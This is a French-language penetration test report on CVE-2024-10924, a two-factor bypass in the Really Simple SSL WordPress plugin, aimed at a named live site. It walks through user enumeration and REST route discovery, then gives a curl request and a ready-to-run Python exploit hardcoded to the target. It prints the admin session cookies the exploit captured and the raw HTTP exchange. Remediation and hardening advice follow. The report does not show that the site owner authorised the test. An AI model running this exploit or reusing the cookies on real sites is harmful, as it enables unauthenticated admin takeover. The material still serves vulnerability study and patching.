
Rapport de test d'intrusion et exploit pour CVE-2024-10924, un contournement 2FA dans Really Simple SSL, y compris des conseils de reconnaissance, d'exploitation et de remédiation.
Cible : https://skior.co
Vulnérabilité : CVE-2024-10924 - Contournement 2FA dans le plugin Really Simple SSL
Sévérité : Critique (Score CVSS : 9.8)
Statut : Exploitée avec succès
Date de découverte : 2025-06-25
Version du rapport : 2.1
Ce test de pénétration a découvert une vulnérabilité critique de contournement d'authentification qui permet à des attaquants non authentifiés d'obtenir un accès administratif au site WordPress en contournant les contrôles d'authentification à deux facteurs (2FA).
Cette évaluation a suivi une méthodologie systématique de test de pénétration en boîte noire basée sur les normes de l'industrie :

Technologies identifiées :
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**Résultats clés :**
- Installation WordPress moderne avec la dernière version
- Configuration d'hébergement professionnelle avec nginx
- Marque personnalisée ("PoweredBy[Skior]")
- Constructeur de pages Elementor utilisé
- Localisation géographique : États-Unis
### Étape 2 : Énumération des utilisateurs
#### A. Énumération des auteurs WordPress```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
Utilisateur découvert : pastor (User ID: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### C. Résultats d'énumération d'utilisateurs
| ID utilisateur | Nom d'utilisateur | Statut | URL de redirection |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ Trouvé | `/author/pastor/` |
| 2-10 | N/A | ❌ Non trouvé | réponses 404 |
### Étape 3 : Analyse de vulnérabilités
#### A. Analyse complète WPScan```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
Résumé des résultats d'analyse :
Remarque : WPScan n'a pas détecté le plugin Really Simple SSL, ce qui indique qu'il pourrait utiliser de l'obscurcissement ou un nom personnalisé.
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**Points de terminaison personnalisés découverts :**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
Découverte Critique : Le point d'accès /reallysimplessl/v1/two_fa/skip_onboarding semblait suspect et méritait une enquête plus approfondie.
Après avoir découvert les routes d'API REST personnalisées, des recherches externes ont révélé CVE-2024-10924, une vulnérabilité critique affectant le plugin Really Simple SSL.
Identifiant CVE : CVE-2024-10924
Score CVSS : 9.8 (Critique)
Plugin concerné : Really Simple SSL
Type de vulnérabilité : Contournement d'authentification
Vecteur d'attaque : API REST
Date de découverte : 6 novembre 2024
Divulgation publique : 14 novembre 2024
La vulnérabilité provient d'une validation incorrecte de l'utilisateur dans la fonction check_login_and_get_user au sein des actions de l'API REST d'authentification à deux facteurs. La fonction ne parvient pas à valider correctement le paramètre login_nonce, permettant aux attaquants de :
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### Points de terminaison concernés
Les points de terminaison REST API suivants sont vulnérables :
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### Conditions de la vulnérabilité
Pour que cette vulnérabilité soit exploitable :
- ✅ Le plugin Really Simple SSL doit être installé et activé
- ✅ Le paramètre d'authentification à deux facteurs doit être activé (désactivé par défaut)
- ✅ Au moins un compte utilisateur doit exister sur le système
- ✅ L'API REST doit être accessible (paramètre WordPress par défaut)
---
## 🔄 Flux d'attaque```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
Tout d'abord, nous avons testé le point de terminaison manuellement pour comprendre son comportement :```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. Script d'exploit Python```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### Processus de manipulation des cookies

*Ci-dessus : capture d'écran montrant le processus de manipulation des cookies à l'aide des outils de développement du navigateur pour ajouter les cookies de session WordPress capturés.*
#### Accès administrateur réussi

*Ci-dessus : capture d'écran confirmant l'accès administratif réussi au tableau de bord WordPress après l'exploitation de la vulnérabilité de contournement 2FA.*
#### Analyse des cookies
**Cookie de sécurité WordPress :**
- **Nom :** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **Valeur :** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **Composants :**
- Nom d'utilisateur : `pastor`
- Expiration : `1752234264` (timestamp Unix)
- Nonce : `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- Hash : `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**Cookie de connexion WordPress :**
- **Nom :** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **Valeur :** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 Évaluation de l'impact
### Impact immédiat
1. **Compromission complète du site**
- Accès administratif au tableau de bord WordPress
- Capacité à modifier le contenu du site, les thèmes et les plugins
- Accès à la gestion des utilisateurs et aux paramètres
2. **Exposition des données**
- Accès à tous les comptes utilisateurs et profils
- Visibilité du contenu de la base de données
- Accès aux fichiers de configuration
3. **Élévation de privilèges**
- Contournement de tous les contrôles d'authentification
- Contournement des mesures de sécurité 2FA
- Capacité à usurper l'identité de n'importe quel utilisateur
### Scénarios d'attaque potentiels
1. **Manipulation de contenu**
- Défigurer le contenu du site
- Injecter du code malveillant
- Créer des portes dérobées
2. **Vol de données**
- Extraire les informations utilisateur
- Accéder au contenu sensible
- Télécharger les sauvegardes de la base de données
3. **Persistance**
- Installer des plugins malveillants
- Créer des comptes administrateurs cachés
- Établir un contrôle commandé (C2)
### Score de risque : **Critique (9,8/10)**
| Facteur | Score | Justification |
|---------|-------|---------------|
| **Complexité d'accès** | Faible (1.0) | Simple requête HTTP |
| **Authentification** | Aucune (0.0) | Aucune authentification requise |
| **Impact sur l'intégrité** | Élevé (1.0) | Compromission complète du système |
| **Impact sur la confidentialité** | Élevé (1.0) | Accès total aux données |
| **Impact sur la disponibilité** | Élevé (1.0) | Peut désactiver le site |
### Analyse de l'impact métier
| Catégorie d'impact | Gravité | Description |
|--------------------|---------|-------------|
| **Financier** | Élevé | Perte de revenus potentielle, coûts juridiques |
| **Réputationnel** | Critique | Dommage à la marque, perte de confiance des clients |
| **Opérationnel** | Élevé | Interruption de service, perte de données |
| **Conformité** | Élevé | Violations réglementaires, échecs d'audit |
---
## 🛡️ Correction
### Actions immédiates (0-24 heures)
1. **Désactiver le plugin Really Simple SSL** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
Mettre à jour ou supprimer le plugin
Auditer les sessions utilisateur
Renforcement de la sécurité
Mise en place de la surveillance
Évaluations régulières de la sécurité
Mises à jour des politiques de sécurité
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### Solutions alternatives SSL
| Solution | Avantages | Inconvénients | Recommandation |
|----------|-----------|---------------|----------------|
| **Let's Encrypt** | Gratuit, automatisé | Configuration manuelle | ✅ Recommandé |
| **Cloudflare** | Configuration facile, protection DDoS | Nécessite un changement DNS | ✅ Bonne option |
| **SSL du fournisseur d'hébergement** | Intégré | Peut avoir des limitations | ⚠️ Vérifiez les fonctionnalités |
| **SSL manuel** | Contrôle total | Configuration complexe | ❌ Non recommandé |
---
## 🛠️ Outils utilisés
### Outils de reconnaissance
- **Wappalyzer** - Identification de la pile technologique
- **WhatWeb** - Empreinte numérique d'application web
- **WPScan** - Scan de vulnérabilités WordPress
- **curl** - Test manuel d'API
### Outils d'exploitation
- **Python 3** - Développement d'exploits
- **requests** - Bibliothèque cliente HTTP
- **urllib.parse** - Encodage/décodage d'URL
### Outils d'analyse
- **jq** - Traitement JSON
- **grep** - Correspondance de motifs textuels
- **bash** - Automatisation en ligne de commande
---
## 📚 Références
### Informations sur les vulnérabilités
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [Sécurité des plugins WordPress](https://wordpress.org/plugins/security/)
- [Plugin Really Simple SSL](https://wordpress.org/plugins/really-simple-ssl/)
### Documentation technique
- [Manuel de l'API REST WordPress](https://developer.wordpress.org/rest-api/)
- [Bonnes pratiques de sécurité WordPress](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### Outils et ressources
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### CVE associés
- CVE-2024-10924 - Contournement 2FA dans Really Simple SSL
- CVE-2023-28121 - XSS dans le cœur de WordPress
- CVE-2023-28122 - CSRF dans le cœur de WordPress
### Normes industrielles
- [Guide de test OWASP](https://owasp.org/www-project-web-security-testing-guide/)
- [Cadre de cybersécurité du NIST](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 Avis légal
Ce rapport de test d'intrusion est destiné uniquement à des fins éducatives et d'évaluation de sécurité autorisée. Les techniques et outils décrits ne doivent être utilisés que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester. Les tests non autorisés peuvent enfreindre les lois et réglementations.
**Divulgation responsable :** Cette vulnérabilité a été signalée aux développeurs du plugin et à l'équipe de sécurité WordPress.
**Avertissement :** Les informations fournies dans ce rapport sont basées sur l'évaluation effectuée au moment du test. Les paysages de sécurité changent rapidement, et des vulnérabilités supplémentaires peuvent exister qui n'ont pas été découvertes lors de cette évaluation.
---
## 📋 Annexes
### Annexe A : Requêtes HTTP brutes
#### Requête d'exploitation réussie```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### Annexe B : Liste de vérification de sécurité
#### Pré-exploitation
- [ ] Identification de la cible et définition du périmètre
- [ ] Autorisation légale obtenue
- [ ] Environnement de test préparé
- [ ] Outils et scripts validés
#### Pendant l'exploitation
- [ ] Vulnérabilité confirmée manuellement
- [ ] Exploit développé et testé
- [ ] Impact limité au périmètre autorisé
- [ ] Preuves documentées de manière approfondie
#### Post-exploitation
- [ ] Tous les accès supprimés
- [ ] Preuves conservées
- [ ] Rapport généré
- [ ] Recommandations de correction fournies
### Annexe C : Glossaire
| Terme | Définition |
|------|------------|
| **2FA** | Authentification à deux facteurs |
| **CVSS** | Système commun de notation des vulnérabilités |
| **REST API** | Interface de programmation d'application de transfert d'état représentatif |
| **WAF** | Pare-feu d'application web |
| **XSS** | Script intersite |
| **CSRF** | Falsification de requête intersite |
---
*Rapport généré le : 2025-06-25*
*Chercheur en sécurité*
*Version : 2.1*
*Dernière mise à jour : 2025-06-25*
| Niveau de risque | Probabilité | Impact | Priorité d'atténuation |
|---|
| Critique | Élevée | Compromission complète du système | Immédiate |
| Élevé | Moyenne | Fuite de données | Élevée |
| Moyen | Faible | Interruption de service | Moyenne |
| Champ | Valeur |
|---|
| Domaine | https://skior.co |
| Adresse IP | 123.456.789.200 |
| Serveur | nginx/1.26.0 (Ubuntu) |
| Version PHP | 8.2.28 |
| CMS | WordPress 6.8.1 |
| Plugin vulnérable | Really Simple SSL |
| Localisation géographique | États-Unis |
| Hébergeur | Hébergement professionnel (probablement VPS/Dédié) |
| Date/Heure | Événement | Détails |
|---|
| 2025-06-25 14:02 | Reconnaissance initiale | Analyse Wappalyzer terminée |
| 2025-06-25 14:05 | Stack technologique identifié | WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | Énumération des utilisateurs | Utilisateur « pastor » découvert (ID : 1) |
| 2025-06-25 14:15 | Analyse WPScan | Aucune vulnérabilité connue trouvée |
| 2025-06-25 14:20 | Énumération de l'API REST | Points de terminaison de Really Simple SSL découverts |
| 2025-06-25 14:25 | Recherche de vulnérabilités | CVE-2024-10924 identifiée |
| 2025-06-25 14:30 | Tests manuels | Existence de la vulnérabilité confirmée |
| 2025-06-25 14:35 | Développement de l'exploit | Preuve de concept Python créée |
| 2025-06-25 14:40 | Exploitation réussie | Accès administrateur obtenu |
| 2025-06-25 14:45 | Évaluation de l'impact | Dommages potentiels documentés |
| 2025-06-25 15:00 | Génération du rapport | Documentation complète |